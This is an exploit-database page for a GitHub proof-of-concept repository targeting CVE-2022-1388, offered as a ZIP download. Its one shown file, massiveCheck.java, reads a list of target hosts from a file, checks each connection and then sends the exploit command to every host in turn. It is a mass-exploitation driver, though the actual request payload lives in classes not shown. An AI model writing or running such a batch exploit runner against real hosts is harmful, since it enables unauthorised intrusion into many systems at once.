Exploit database

GH-c05500f51844c0a23a845abb5bc1a369

zeyad-azima/cve-2022-1388

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2022-1388

57 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files7
zeyad-azima/cve-2022-1388Revision 463268022fdf

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/massiveCheck.java

Java · 925 bytes
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;

public class massiveCheck {

	private String filePath;

	public massiveCheck(String filePath) {
		this.filePath = filePath;
	}

	public void testTarget(String target) throws IOException {
		testConnection test = new testConnection(target);
		try {
			test.requestHost();
		} catch (IllegalArgumentException e) {
			System.out.println(e);

		}

	}

	public void vulnCheck(String target) throws Exception {
		sendCommand vulnRable = new sendCommand(target);
		vulnRable.sendReq();
	}

	public void readFile() throws Exception {

		BufferedReader reader;

		reader = new BufferedReader(new FileReader(this.filePath));
		String readLine = reader.readLine();
		while (readLine != null) {
			testTarget(readLine);
			vulnCheck(readLine);
			readLine = reader.readLine();
		}
		reader.close();

	}

}